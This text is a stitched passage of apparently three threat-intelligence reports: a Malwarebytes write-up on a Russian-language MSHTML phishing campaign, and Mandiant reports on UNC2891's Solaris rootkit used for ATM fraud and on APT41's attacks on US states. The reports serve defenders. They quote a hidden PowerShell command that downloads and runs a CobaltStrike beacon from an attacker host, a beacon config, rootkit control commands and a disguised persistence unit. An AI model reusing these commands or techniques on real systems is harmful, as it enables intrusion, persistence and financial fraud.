+technologies, services, sanctions and criminal liability for their use.)
+ (Attention! Informs the
+Ministry of Digital Development, Communications and Mass Media of the
+Russian Federation)
+Figure 3: Phishing template
+Email with link:
+ (Attention! Informs the
+Ministry of Digital Development, Communications and Mass Media of the
+Russian Federation)
+Figure 4: phishing template
+Victimology
+The actor has sent its spear phishing emails to people that had email with these domains:
+mail.ru, mvd.ru, yandex.ru, cap.ru, minobr-altai.ru, yandex.ru, stavminobr.ru,
+mon.alania.gov.ru, astrobl.ru, 38edu.ru, mosreg.ru, mo.udmr.ru, minobrnauki.gov.ru,
+66.fskn.gov.ru, bk.ru, ukr.net
+3/15
+Based on these domains, here is the list of potential victims:
+Portal of authorities of the Chuvash Republic Official Internet portal
+Russian Ministry of Internal Affairs
+ministry of education and science of the republic of Altai
+Ministry of Education of the Stavropol Territory
+Minister of Education and Science of the Republic of North Ossetia-Alania
+Government of Astrakhan region
+Ministry of Education of the Irkutsk region
+Portal of the state and municipal service Moscow region
+Ministry of science and higher education of the Russian Federation
+Analysis:
+The lures used by the threat actor are in Russian language and pretend to be from Russia
+Ministry of Information Technologies and Communications of the Russian Federation
+ and
+MINISTRY OF DIGITAL DEVELOPMENT, COMMUNICATIONS AND MASS
+COMMUNICATIONS
+. One of them is a letter about limitation of access to Telegram
+application in Russia.
+4/15
+Figure 5: Lure letter
+5/15
+Figure 6: Lure template
+These RTF files contains an embedded url that downloads an html file which exploits the
+vulnerability in the MSHTML engine.
+http://wallpaper.skin/office/updates/GtkjdsjkyLkjhsTYhdsd/exploit.html
+The html file contains a script that executes the script in WSF data embedded in the RTF file.
+Figure 7: html file
+The actor has added WSF data (Windows Script Host) at the start of the RTF file. As you can
+see from figure 8, WSF data contains a JScript code that can be accessed from a remote
+location. In this case this data has been accessed using the downloaded html exploit file.
+6/15
+Figure 8: WSF data
+Executing this scripts leads to spawning PowerShell to download a CobaltStrike beacon from
+the remote server and execute it on the victim
+s machine. (The deployed CobaltStrike file
+name is Putty)
+"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden
+$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest
+'http://wallpaper.skin/office/updates/GtkjdsjkyLkjhsTYhdsd/putty.exe' -OutFile
+$env:TEMP\putty.exe; . $env:TEMP\putty.exe; Start-Sleep 15
+The following shows the CobaltStrike config:
+7/15
+"BeaconType": [
+"HTTPS"
+"Port": 443,
+"SleepTime": 38500,
+"MaxGetSize": 1398151,
+"Jitter": 27,
+"C2Server": "wikipedia-book.vote,/async/newtab_ogb",
+"HttpPostUri": "/gen_204",
+"Malleable_C2_Instructions": [
+"Remove 17 bytes from the end",
+"Remove 32 bytes from the beginning",
+"Base64 URL-safe decode"
+"SpawnTo": "/4jEZLD/DHKDj1CbBvlJIg==",
+"HttpGet_Verb": "GET",
+"HttpPost_Verb": "POST",
+"HttpPostChunk": 96,
+"Spawnto_x86": "%windir%\\syswow64\\gpupdate.exe",
+"Spawnto_x64": "%windir%\\sysnative\\gpupdate.exe",
+"CryptoScheme": 0,
+"Proxy_Behavior": "Use IE settings",
+"Watermark": 1432529977,
+"bStageCleanup": "True",
+"bCFGCaution": "True",
+"KillDate": 0,
+"bProcInject_StartRWX": "True",
+"bProcInject_UseRWX": "False",
+"bProcInject_MinAllocSize": 16700,
+"ProcInject_PrependAppend_x86": [
+"kJCQ",
+"Empty"
+"ProcInject_PrependAppend_x64": [
+"kJCQ",
+"Empty"
+"ProcInject_Execute": [
+"ntdll.dll:RtlUserThreadStart",
+"SetThreadContext",
+"NtQueueApcThread-s",
+"kernel32.dll:LoadLibraryA",
+"RtlCreateUserThread"
+"ProcInject_AllocationMethod": "NtMapViewOfSection",
+"bUsesCookies": "True",
+"HostHeader": ""
+Similar lure used by another actor
+8/15
+We also have identified activity by another actor that uses a similar lure as the one used in
+the previously mentioned campaign. This activity is potentially related to Carbon Spider and
+uses 
+ (Federal Service for Supervision of Communications,
+Information Technology and Mass Communications) of Russia as a template. In this case, the
+threat actor has deployed a PowerShell-based Rat.
+9/15
+Figure 9: template
+The dropped PowerShell script is obfuscated using a combination of Base64 and custom
+obfuscation.
+10/15
+Figure 10: Dropped PS script
+After deobfuscating the script, you can see the Rat deployed by this actor. This PowerShell
+based Rat has the capability to get the next stage payload and execute it. The next stage
+payload can be one of the following file types:
+JavaScript
+PowerShell
+Executable
+All of Its communications with its server are in Base64 format. This Rat starts its activity by
+setting up some configurations which include the C2 url, intervals, debug mode and a
+parameter named group that initialized with 
+Madagascar
+ which probably is another alias of
+the actor.
+After setting up the configuration, it calls the 
+Initialize-Engine
+ function. This function
+collects the victim
+s info including OS info, Username, Hostname, Bios info and also a hostdomain value that shows if the machine in a domain member or not. It then appends all the
+collected into into a string and separate them by 
+ character and at the end it add the group
+name and API config value. The created string is being send to the server using Send-WebInit
+function. This function adds 
+INIT%%%
+ string to the created string and base64 encodes it
+and sends it to the server.
+11/15
+Figure 11: PowerShell Rat
+After performing the initialization, it goes into a loop that keeps calling the 
+Invoke-Engine
+function. This function checks the incoming tasks from the server, decodes them and calls
+the proper function to execute the incoming task. If there is no task to execute, it sends
+GETTASK%%
+ in Base64 format to its server to show it is ready to get tasks and execute
+them. The 
+ command is used to delete itself.
+12/15
+Figure 12: Invoke task
+The result of the task execution will be send to the server using 
+PUTTASK%%
+ command.
+Infrastructure
+The following shows the infrastructure used by this actor highlighting that the different lures
+are all connected.
+13/15
+Figure 12: Infrastructure
+The Malwarebytes Threat Intelligence continues to monitor cyber attacks related to the
+Ukraine war. We are protecting our customers and sharing additional indicators of
+compromise.
+IOCs
+RTF files host domain:
+digital-ministry[.]ru
+RTF files:
+PKH telegram.rtf
+b19af42ff8cf0f68e520a88f40ffd76f53a27dffa33b313fe22192813d383e1e
+PKH.rtf
+38f2b578a9da463f555614e9ca9036337dad0af4e03d89faf09b4227f035db20
+MSHTML exploit:
+wallpaper[.]skin/office/updates/GtkjdsjkyLkjhsTYhdsd/exploit.html
+4e1304f4589a706c60f1f367d804afecd3e08b08b7d5e6bd8c93384f0917385c
+CobaltStrike Download URL:
+wallpaper[.]skin/office/updates/GtkjdsjkyLkjhsTYhdsd/putty.exe
+CobaltStrike:
+Putty.exe
+d4eaf26969848d8027df7c8c638754f55437c0937fbf97d0d24cd20dd92ca66d
+CobaltStrike C2:
+wikipedia-book[.]vote/async/newtab_ogb
+Macro based maldoc:
+c7dd490adb297b7f529950778b5a426e8068ea2df58be5d8fd49fe55b5331e28
+14/15
+PowerShell based RAT:
+9d4640bde3daf44cc4258eb5f294ca478306aa5268c7d314fc5019cf783041f0
+PowerShell Rat C2:
+swordoke[.]com
+15/15
+Have Your Cake and Eat it Too? An Overview of UNC2891
+mandiant.com/resources/unc2891-overview
+The Mandiant Advanced Practices team previously published a threat research blog post that provided an overview of UNC1945 operations
+where the actor compromised managed services providers to gain access to targets in the financial and professional consulting industries.
+Since that time, Mandiant has investigated and attributed several intrusions to a threat cluster we believe has a nexus to this actor, currently
+being tracked as UNC2891. Through these investigations, Mandiant has discovered additional techniques, malware, and utilities being used by
+UNC2891 alongside those previously observed in use by UNC1945. Despite having identified significant overlaps between these threat clusters,
+Mandiant has not determined they are attributable to the same actor.
+UNC2891 intrusions appear to be financially motivated and in some cases spanned several years through which the actor had remained
+largely undetected.
+UNC2891 demonstrated fluency and expertise in Unix and Linux environments, mostly through the targeting of Oracle Solaris based
+systems with TINYSHELL and SLAPSTICK backdoors.
+Mandiant observed UNC2891 operate with a high degree of OPSEC and leverage both public and private malware, utilities, and scripts to
+remove evidence and hinder response efforts.
+Mandiant discovered a previously unknown rootkit for Oracle Solaris systems that UNC2891 used to remain hidden in victim networks,
+we have named this CAKETAP.
+One Variant of CAKETAP manipulated messages transiting a victims Automatic Teller Machine (ATM) switching network. It is believed
+this was leveraged as part of a larger operation to perform unauthorized cash withdrawals at several banks using fraudulent bank cards.
+Extensive Use of SLAPSTICK and TINYSHELL Backdoors
+Like past UNC1945 intrusions, Mandiant observed UNC2891 make extensive use of the Pluggable Authentication Module (PAM) based
+backdoor we track as SLAPSTICK to aid with credential harvesting, and to provide backdoor access to compromised machines in victim
+networks. As detailed in our previous blog post, SLAPSTICK provides persistent backdoor access to infected systems with a hard-coded
+magical password, it also logs authentication attempts and corresponding passwords in an encrypted log file. Although this is expected to have
+tremendously assisted UNC2891 with credential harvesting and lateral movement activities, it also provided valuable information to Mandiant
+Incident Responders. Although SLAPSTICK log files were often timestomped, Mandiant was able to decode them and trace some of the actor
+lateral movement activities through the usage of the backdoor provided magical password.
+Figure 1: Example SLAPSTICK decoded log (fabricated)
+Alongside SLAPSTICK, UNC2891 often installed a custom variant of the publicly available TINYSHELL backdoor. UNC2891 TINYSHELL
+backdoors leveraged an external encrypted configuration file and some variants included additional functionality, such as the ability to
+communicate via a HTTP proxy with basic authentication. In line with the group
+s familiarity with Unix and Linux based systems, UNC2891
+often named and configured their TINYSHELL backdoors with values that masqueraded as legitimate services that might be overlooked by
+investigators, such as systemd (SYSTEMD), name service cache daemon (NCSD), and the Linux at daemon (ATD).
+TINYSHELL Backdoor File Paths
+TINYSHELL Configuration File Paths
+/usr/lib/libhelpx.so.1
+/usr/lib/libatdcf.so
+/usr/lib/systemd/systemd-helper
+/usr/lib/libnscd.so.1
+/usr/sbin/nscd
+/usr/lib/libsystemdcf.so
+/var/ntp/ntpstats/1
+Table 1: Observed TINYSHELL file paths
+Example Decoded configuration
+pm_systemd_mag <32-character string>
+systemd_nme <system id>
+pm_systemd_adr <C2 IP address/domain>
+pm_systemd_prt <443 or 53>
+pm_systemd_tme 300
+systemd_non1 none
+systemd_non2 none
+systemd_non3 none
+systemd_non4 none
+Table 2: Example decoded TINYSHELL configuration (systemd variant)
+In the case of the systemd variant, UNC2891 also leveraged systemd service unit files for persistence of the TINYSHELL backdoor.
+/usr/lib/systemd/system/systemd-helper.service
+[Unit]
+Description=Rebuild Hardware Database
+[Service]
+Type=forking
+ExecStart=/lib/systemd/systemd-helper
+[Install]
+WantedBy=multi-user.target
+Table 3: Service unit file used for TINYSHELL persistence
+Based on analyzed configurations, UNC2891 had configured TINYSHELL backdoors in a multi-hop structure that leveraged several
+compromised internal servers for command and control. In one case, Mandiant found evidence that suggests the actor had chained different
+TINYSHELL variants together to obtain remote access to a server inside a network segment with network restrictions.
+To keep their network of TINYSHELL connections hidden, UNC2891 had installed and configured a rootkit to filter out these connections from
+network connection related APIs (keep reading for details on the CAKETAP rootkit). UNC2891 configured remotely accessible systems with
+TINYSHELL backdoors that used dynamic DNS domains for their external command and control channel. These domains were created perhost and were not used more than once, the subdomains sometimes resembled the hostname of the compromised machine. Mandiant was
+unable to collect passive DNS data for these dynamic DNS domains, suggesting that UNC2891 had likely enabled IP resolution for short
+periods of time when access to the network was required. At one victim, these TINYSHELL backdoors were configured to perform
+communications using TCP over port 53 and 443, likely as a mechanism to bypass outbound network protections, blend in with existing traffic,
+and evade detection.
+Figure 2: Example of TINYSHELL command and control used by UNC2891
+STEELHOUND, STEELCORGI and Environment Variable Keying
+UNC2891 often made use of the STEELCORGI in-memory dropper which decrypts its embedded payloads by deriving a ChaCha20 key from
+the value of an environment variable obtained at runtime. In many cases, Mandiant was unable to recover the requisite environment variables
+to decrypt the embedded payloads. However, in the limited samples we were able to decrypt, UNC2891 had deployed different versions of an
+extensive toolkit which appears to be developed under the name SUN4ME. SUN4ME contains tools for network reconnaissance, host
+enumeration, exploitation of known vulnerabilities, log wiping, file operations, as well as common shell utilities. Yoroi has previously published
+information about this toolkit following our previous blog post on UNC1945
+s usage of STEELCORGI.
+Mandiant discovered UNC2891 leveraging a similar in-memory dropper that also used environment variables to decrypt its embedded payload
+but instead relied on RC4 encryption, we have named this STEELHOUND. In addition to functioning as dropper for an embedded payload,
+STEELHOUND is also able to encrypt new payloads by encrypting a target binary and writing it to disk along with a copy of itself and an endof-file configuration.
+WINGHOOK and WINGCRACK
+During these investigations, Mandiant also discovered a family of keylogger malware we have named WINGHOOK and WINGCRACK.
+WINGHOOK is a keylogger for Linux and Unix based operating systems. It is packaged as a shared library (SO file) that hooks the read
+and fgets functions, which are two common functions used for processing user input. The captured data is stored in an encoded format in
+the directory /var/tmp/ with a filename that begins with .zmanDw.
+WINGCRACK is a utility that can decode and display the content of files containing encoded keylog data from WINGHOOK. The malware
+author appears to refer to these encoded files as 
+schwing
+ files.
+Utilities Observed
+Mandiant previously observed UNC1945 use a large amount of different public and private tools during their intrusions, and this was also true
+for UNC2891. Mandiant discovered additional utilities that were leveraged by UNC2891:
+BINBASH is a simple ELF utility that executes a shell after setting the group ID and user ID to either "root" or specified values. BINBASH
+appears to be a compilation of the source code.
+WIPERIGHT is an ELF utility that clears specific log entries on Linux and Unix based systems. It can remove entries associated with a
+given user in the lastlog, utmp/utmpx, wtmp/wtmpx, and pacct logs. It appears to have originated from available source code, and
+possibly a more recent version.
+MIGLOGCLEANER is another ELF utility that wipes logs or remove certain strings from logs on Linux and Unix based systems. It is
+publicly available on GitHub.
+Whilst seemingly uncommon amongst threat actors, UNC2891 frequently used the uuencoding scheme to encode and decode files, such as
+malware binaries or files containing output from extensive host enumeration scripts. The actor often leveraged simple Perl wrapper scripts that
+performed uuencoding and uudecoding functions.
+CAKETAP
+CAKETAP is a kernel module rootkit that UNC2891 deployed on key server infrastructure running Oracle Solaris. CAKETAP can hide network
+connections, processes, and files. During initialization, it removes itself from the loaded modules list and updates the last_module_id with the
+previously loaded module to hide its presence.
+A hook is installed into the function ipcl_get_next_conn, as well as several functions in the ip module. This enables CAKETAP to filter out any
+connections that match an actor-configured IP address or port (local or remote).
+One way to identify CAKETAP running on a Solaris system is to check for the presence of this hook. The following shows an example command
+to identify a hooked ipcl_get_next_conn function (Note: The mdb command may require special permissions on the system):
+root@solaris:~# echo 'ipcl_get_next_conn::dis -n 0 ; ::quit' | mdb -k
+The output in a clean SPARC Solaris system would look similar to the following:
+ipcl_get_next_conn: save %sp, -0xb0, %sp
+A hooked function would begin with the sethi instruction as follows (the constant 0x11971c00 will change from instance to instance depending
+on where CAKETAP is loaded):
+ipcl_get_next_conn: sethi %hi(0x11971c00), %g1
+Additional hooks are installed into the mkdirat (make directory at) and getdents64 (get directory entries) system calls. CAKETAP uses the
+mkdirat hook to receive commands from paths containing the signal string. Commands include configuring network filters, display or update
+its configuration, and to unhide itself. The getdents64 hook enables CAKETAP to hide files or directories on the file system containing the
+secret signal string. Table 4 contains the signal strings for the CAKETAP hooks.
+Secret
+Usage
+.caahGss187
+mkdirat hook signal string
+.zaahGss187
+getdents64 hook signal string
+Table 4: Observed secrets for CAKETAP hooks
+The mkdirat hook enabled UNC2891 to control and configure CAKETAP through existing backdoor access to compromised servers by issuing
+shell commands that leverage these system calls (e.g. mkdir for mkdirat). A single character appended to the signal string indicated which
+command was to be executed. The following commands were observed:
+Command
+Function
+Empty
+Add the CAKETAP module back to loaded modules list
+Change the signal string for the getdents64 hook
+Add a network filter (format <IP>p<PORT>)
+Remove a network filter
+Set the current thread TTY to not be filtered by the getdents64 hook
+Set all TTYs to be filtered by the getdents64 hook
+Displays the current configuration
+Table 5: Observed CAKETAP commands
+For example, to configure a new network filter and display the current configuration, the following commands might be used:
+mkdir /some/path/.caahGss187I192.168.1.10p80 - Add network filter for 192.168.1.10:80
+mkdir /some/path/.caahGss187S - Display current configuration
+The hook installed into getdents64 filtered output to hide presence of the signal string in directory contents.
+Mandiant observed UNC2891 load CAKETAP with the module name ipstat from attacker created directories that often resided somewhere
+inside the /var directory tree.
+CAKETAP Unauthorized Transactions
+Memory forensics from one victim
+s ATM switch server revealed a variant of CAKETAP with additional network hooking functionality that
+intercepted specific messages relating to card and pin verification. Evidence suggests that this variant of CAKETAP was used as part of an
+operation to perform unauthorized transactions using fraudulent bank cards.
+This CAKETAP variant targeted specific messages destined for the Payment Hardware Security Module (HSM). This additional network
+hooking performed several functions:
+1. Manipulation of card verification messages:
+CAKETAP altered the mode of certain outgoing messages to disable card verification. This resulted in the HSM not performing the proper
+card verification and instead generating a valid response. Fraudulent bank cards generated verification messages using a custom
+algorithm using the Primary Account Number (PAN) and other parameters which served as a 
+marker
+ for CAKETAP. CAKETAP
+examined outgoing messages and if it matched the algorithm, CAKETAP identified the card as fraudulent and stored the PAN in memory
+to use in the following step.
+2. Replay of PIN verification messages:
+CAKETAP examined outgoing PIN verification messages that matched certain conditions and identified those with a Primary Account
+Number (PAN) that reflected a fraudulent card. If the message was not for a fraudulent card, it would save the message internally and
+send it unmodified, as to not interrupt legitimate ATM PIN verifications. However, if it was for a fraudulent card, CAKETAP would
+instead replace the message content with data from a previously saved message. This was effectively a replay attack that resulted in a
+bypass of PIN verification for fraudulent cards.
+Based on Mandiant
+s investigation findings, we believe that CAKETAP was leveraged by UNC2891 as part of a larger operation to successfully
+use fraudulent bank cards to perform unauthorized cash withdrawals from ATM terminals at several banks.
+Conclusion
+UNC2891 maintains a high level of OPSEC and employs several techniques to evade detection. The actor uses their skill and experience to take
+full advantage of the decreased visibility and security measures that are often present in Unix and Linux environments. Mandiant expects that
+UNC2891 will continue to capitalize on this and perform similar operations for financial gain that target mission critical systems running these
+operating systems.
+While some of the overlaps between UNC2891 and UNC1945 are notable, it is not conclusive enough to attribute the intrusions to a single
+threat group. For example, it is possible that significant portions of UNC2891 and UNC1945 activity are carried out by an entity that is a
+common resource to multiple threat actors, which could explain the perceived difference in intrusion objectives
+a common malware developer
+or an intrusion partner, for example. Regardless, Mandiant is releasing this information on the actor to raise awareness of the fraudulent
+activity and aid defenders in uncovering further UNC2891 operations.
+YARA
+The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through
+an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives. These rules are
+intended to serve as a starting point for hunting efforts to identify samples, however, they may need adjustment over time if the malware family
+changes.
+rule TINYSHELL
+meta:
+author = "Mandiant "
+strings:
+$sb1 = { C6 00 48 C6 4? ?? 49 C6 4? ?? 49 C6 4? ?? 4C C6 4? ?? 53 C6 4? ?? 45 C6 4? ?? 54 C6 4? ?? 3D C6
+4? ?? 46 C6 4? ?? 00 }
+$sb2 = { C6 00 54 C6 4? ?? 4D C6 4? ?? 45 C6 4? ?? 3D C6 4? ?? 52 }
+$ss1 = "fork" ascii fullword wide
+$ss2 = "socket" ascii fullword wide
+$ss3 = "bind" ascii fullword wide
+$ss4 = "listen" ascii fullword wide
+$ss5 = "accept" ascii fullword wide
+$ss6 = "alarm" ascii fullword wide
+$ss7 = "shutdown" ascii fullword wide
+$ss8 = "creat" ascii fullword wide
+$ss9 = "write" ascii fullword wide
+$ss10 = "open" ascii fullword wide
+$ss11 = "read" ascii fullword wide
+$ss12 = "execl" ascii fullword wide
+$ss13 = "gethostbyname" ascii fullword wide
+$ss14 = "connect" ascii fullword wide
+condition:
+uint32(0) == 0x464c457f and 1 of ($sb*) and 10 of ($ss*)
+rule TINYSHELL_SPARC
+meta:
+author = "Mandiant"
+strings:
+$sb_xor_1 = { DA 0A 80 0C 82 18 40 0D C2 2A 00 0B 96 02 E0 01 98 03 20 01 82 1B 20 04 80 A0 00 01 82 60 20
+00 98 0B 00 01 C2 4A 00 0B 80 A0 60 00 32 BF FF F5 C2 0A 00 0B 81 C3 E0 08 }
+$sb_xor_2 = { C6 4A 00 00 80 A0 E0 00 02 40 00 0B C8 0A 00 00 85 38 60 00 C4 09 40 02 84 18 80 04 C4 2A 00
+00 82 00 60 01 80 A0 60 04 83 64 60 00 10 6F FF F5 90 02 20 01 81 C3 E0 08 }
+condition:
+of them
+uint32(0) == 0x464C457F and (uint16(0x10) & 0x0200 == 0x0200) and (uint16(0x12) & 0x0200 == 0x0200) and 1
+rule SLAPSTICK
+meta:
+author = "Mandiant "
+strings:
+$ss1 = "%Y %b %d %H:%M:%S
+\x00"
+$ss2 = "%-23s %-23s %-23s\x00"
+$ss3 = "%-23s %-23s %-23s %-23s %-23s %s\x0a\x00"
+condition:
+(uint32(0) == 0x464c457f) and all of them
+rule STEELCORGI
+meta:
+author = "Mandiant "
+strings:
+$s1 = "\x00\xff/\xffp\xffr\xffo\xffc\xff/\xffs\xffe\xffl\xfff\xff/\xffe\xffx\xffe\x00"
+$s2 =
+"\x00\xff/\xffv\xffa\xffr\xff/\xffl\xffi\xffb\xff/\xffd\xffb\xffu\xffs\xff/\xffm\xffa\xffc\xffh\xffi\xffn\xffe\xff\xffi\xffd\x00"
+$sb1 = { FE 1B 7A DE 23 D1 E9 A1 1D 7F 9E C1 FD A4 }
+$sb2 = { 3B 8D 4F 45 7C 4F 6A 6C D8 2F 1F B2 19 C4 45 6A 6A }
+condition:
+(uint32(0) == 0x464c457f) and all of them
+Indicators of Compromise
+Malware
+Family
+SHA1
+SHA256
+STEELCORGI
+e5791e4d2b479ff1dfee983ca6221a53
+e55514b83135c5804786fa6056c88988ea70e360
+95964d669250f0ed161409b93f
+STEELCORGI
+0845835e18a3ed4057498250d30a11b1
+c28366c3f29226cb2677d391d41e83f9c690caf7
+7d587a5f6f36a74dcfbcbaecb2
+STEELCORGI
+d985de52b69b60aa08893185029bcb31
+a3e75e2f700e449ebb62962b28b7c230790dc25d
+cd06246aff527263e409dd779b
+TINYSHELL
+4ff6647c44b0417c80974b806b1fbcc3
+fa36f10407ed5a6858bd1475d88dd35927492f52
+55397addbea8e5efb8e6493f3b
+TINYSHELL
+13f6601567523e6a37f131ef2ac4390b
+4228d71c042d08840089895bfa6bd594b5299a89
+24f459a2752175449939037d6a
+TINYSHELL
+4e9967558cd042cac8b12f378db14259
+018bfe5b9f34108424dd63365a14ab005e249fdd
+5f46a25473b9dda834519093c6
+STEELHOUND
+a4617c9a4bde94e867f063c28d763766
+097d3a15510c48cdb738344bdf00082e546827e8
+161a2832baba6ff6f9f1b52ed8
+MITRE ATT&CK
+Discovery:
+T1016:System Network Configuration Discovery
+T1018:Remote System Discovery
+T1049:System Network Connections Discovery
+T1082:System Information Discovery
+T1083:File and Directory Discovery
+T1135:Network Share Discovery
+Lateral Movement:
+T1021:Remote Services
+T1021.004:SSH
+Credential Access:
+T1003:OS Credential Dumping
+T1003.008:/etc/passwd and /etc/shadow
+T1110:Brute Force
+T1110.001:Password Guessing
+T1552:Unsecured Credentials
+T1552.003:Bash History
+T1552.004:Private Keys
+T1556.003:Pluggable Authentication Modules
+Command and Control:
+T1090:Proxy
+T1095:Non-Application Layer Protocol
+T1105:Ingress Tool Transfer
+T1572:Protocol Tunneling
+T1573.001:Symmetric Cryptography
+Execution:
+T1053.001:At (Linux)
+T1059:Command and Scripting Interpreter
+T1059.004:Unix Shell
+Collection:
+T1056.001:Keylogging
+T1560:Archive Collected Data
+T1560.001:Archive via Utility
+T1560.002:Archive via Library
+Defense Evasion:
+T1014:Rootkit
+T1027:Obfuscated Files or Information
+T1070:Indicator Removal on Host
+T1070.002:Clear Linux or Mac System Logs
+T1070.004:File Deletion
+T1070.006:Timestomp
+T1140:Deobfuscate/Decode Files or Information
+T1480.001:Environmental Keying
+T1548.001:Setuid and Setgid
+T1620:Reflective Code Loading
+Persistence:
+T1543.002:Systemd Service
+T1547.006:Kernel Modules and Extensions
+Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments
+mandiant.com/resources/apt41-us-state-governments
+UPDATE (Mar. 8): The original post may not have provided full clarity that CVE-2021-44207 (USAHerds) had a patch developed by Acclaim
+Systems for applicable deployments on or around Nov. 15, 2021. Mandiant cannot speak to the affected builds, deployment, adoption, or
+other technical factors of this vulnerability patch beyond its availability.
+In May 2021 Mandiant responded to an APT41 intrusion targeting a United States state government computer network. This was just the
+beginning of Mandiant
+s insight into a persistent months-long campaign conducted by APT41 using vulnerable Internet facing web applications
+as their initial foothold into networks of interest. APT41 is a prolific Chinese state-sponsored espionage group known to target organizations in
+both the public and private sectors and also conducts financially motivated activity for personal gain.
+In this blog post, we detail APT41
+s persistent effort that allowed them to successfully compromise at least six U.S. state government networks
+by exploiting vulnerable Internet facing web applications, including using a zero-day vulnerability in the USAHerds application (CVE-202144207) as well as the now infamous zero-day in Log4j (CVE-2021-44228). While the overall goals of APT41's campaign remain unknown, our
+investigations into each of these intrusions has revealed a variety of new techniques, malware variants, evasion methods, and capabilities.
+Campaign Overview
+Although APT41 has historically performed mass scanning and exploitation of vulnerabilities, our investigations into APT41 activity between
+May 2021 and February 2022 uncovered evidence of a deliberate campaign targeting U.S. state governments. During this timeframe, APT41
+successfully compromised at least six U.S. state government networks through the exploitation of vulnerable Internet facing web applications,
+often written in ASP.NET. In most of the web application compromises, APT41 conducted .NET deserialization attacks; however, we have also
+observed APT41 exploiting SQL injection and directory traversal vulnerabilities.
+In the instance where APT41 gained access through a SQL injection vulnerability in a proprietary web application, Mandiant Managed Defense
+quickly detected and contained the activity; however, two weeks later APT41 re-compromised the network by exploiting a previously unknown
+zero-day vulnerability in a commercial-off-the-shelf (CoTS) application, USAHerds. In two other instances, Mandiant began an investigation at
+one state agency only to find that APT41 had also compromised a separate, unrelated agency in the same state.
+APT41 was also quick to adapt and use publicly disclosed vulnerabilities to gain initial access into target networks, while also maintaining
+existing operations. On December 10th, 2021, the Apache Foundation released an advisory for a critical remote code execution (RCE)
+vulnerability in the commonly used logging framework Log4J. Within hours of the advisory, APT41 began exploiting the vulnerability to later
+compromise at least two U.S. state governments as well as their more traditional targets in the insurance and telecommunications industries.
+In late February 2022, APT41 re-compromised two previous U.S. state government victims. Our ongoing investigations show the activity
+closely aligns with APT41's May-December 2021 activity, representing a continuation of their campaign into 2022 and demonstrating their
+unceasing desire to access state government networks. A timeline of representative intrusions from this campaign can be seen in Figure 1.
+Figure 1: U.S. state government campaign timeline
+The goals of this campaign are currently unknown, though Mandiant has observed evidence of APT41 exfiltrating Personal Identifiable
+Information (PII). Although the victimology and targeting of PII data is consistent with an espionage operation, Mandiant cannot make a
+definitive assessment at this time given APT41
+s history of moonlighting for personal financial gain.
+Exploitation of Deserialization Vulnerabilities
+APT41 has primarily used malicious ViewStates to trigger code execution against targeted web applications. Within the ASP.NET framework,
+ViewState is a method for storing the application
+s page and control values in HTTP requests to and from the server. The ViewState is sent to
+the server with each HTTP request as a Base64 encoded string in a hidden form field. The web server decodes the string and applies additional
+transformations to the string so that it can be unpacked into data structures the server can use. This process is known as deserialization.
+Insecure deserialization of user-supplied input can result in code execution. ASP.NET has several insecure deserialization providers, including
+the one used for ViewStates: ObjectStateFormatter. To prevent a threat actor from manipulating the ViewState and taking advantage of the
+insecure deserialization provider, the ViewState is protected by a Message Authentication Code (MAC). This MAC is a cryptographically signed
+hash value that the server uses to ensure that the ViewState has not been tampered with, possibly to trigger code execution. The integrity of the
+ViewState depends on the application
+s machineKey remaining confidential. The machineKey is stored on the application server in a
+configuration file named web.config.
+<machineKey validationKey="XXXXXXXXXXXXXXXXX" decryptionKey="XXXXXXXXXXXXXXXXXXXXXX" validation="SHA1" />
+Figure 2 Sample machineKey attribute from a web.config file
+A threat actor with knowledge of the machineKey can construct a malicious ViewState and then generate a new and valid MAC that the server
+accepts. With a valid MAC, the server will then deserialize the malicious ViewState, resulting in the execution of code on the server. Publicly
+available tools such as YSoSerial.NET exist to construct these malicious ViewStates. This is precisely how APT41 initiated their campaign in
+May 2021.
+Proprietary Web Application Targeting
+In June 2020, one year before APT41 began this campaign, Mandiant investigated an incident where APT41 exploited a directory traversal
+vulnerability specifically to read the web.config file for a vulnerable web application on a victim web server. APT41 then used the machineKey
+values from the web.config file to generate a malicious ViewState payload for a deserialization exploit. Mandiant did not identify how APT41
+originally obtained the machineKey values for the proprietary application exploited in May 2021 or the USAHerds application, which was first
+exploited in July 2021. However, it is likely that APT41 obtained the web.config file through similar means.
+To craft malicious ViewStates, APT41 relied on the publicly available Github project YSoSerial.NET. In order to successfully load arbitrary
+.NET assemblies into memory, APT41 set the DisableActivitySurrogateSelectorTypeCheck property flag to true within the
+ConfigurationManager.AppSettings class of the running application via the ViewState payload. APT41 subsequently loaded .NET assemblies
+into memory using additional YSoSerial payloads configured to write webshells to a hardcoded filepath on disk.
+Figure 3: Deserialized .NET Assembly (dnSpy)
+Figure 4 shows an example JScript webshell deployed through a malicious ViewState object by APT41 which utilizes Code Page 936 for the
+Chinese Simplified keyboard language.
+Figure 4: Deserialized JScript Webshell
+For additional information regarding deserialization exploits and our new hunting rule generation tool 
+HeySerial
+, read our blog post, Now
+You Serial, Now You Don
+ Systematically Hunting for Deserialization Exploits.
+USAHerds (CVE-2021-44207) Zero-Day
+In three investigations from 2021, APT41 exploited a zero-day vulnerability in the USAHerds web application. USAHerds is a CoTS application
+written in ASP.NET and used by 18 states for animal health management. The vulnerability in USAHerds (CVE-2021-44207) is similar to a
+previously reported vulnerability in Microsoft Exchange Server (CVE-2020-0688), where the applications used a static validationKey and
+decryptionKey (collectively known as the machineKey) by default. As a result, all installations of USAHerds shared these values, which is
+against the best practice of using uniquely generated machineKey values per application instance.
+Generating unique machineKey values is critical to the security of an ASP.NET web application because the values are used to secure the
+integrity of the ViewState.
+Mandiant did not identify how APT41 originally obtained the machineKey values for USAHerds; however, once APT41 obtained the
+machineKey, they were able to compromise any server on the Internet running USAHerds. As a result, there are potentially additional
+unknown victims.
+Log4j (CVE-2021-44228)
+The most recent APT41 campaign began shortly after the release of CVE-2021-44228 and its related proof-of-concept exploits in December
+2021. Exploiting this vulnerability, also known as Log4Shell, causes Java to fetch and deserialize a remote Java object, resulting in potential
+code execution. Similar to their previous web application targeting, APT41 continued to use YSoSerial generated deserialization payloads to
+perform reconnaissance and deploy backdoors. Notably, APT41 deployed a new variant of the KEYPLUG backdoor on Linux servers at multiple
+victims, a malware sub-family we now track as KEYPLUG.LINUX. KEYPLUG is a modular backdoor written in C++ that supports multiple
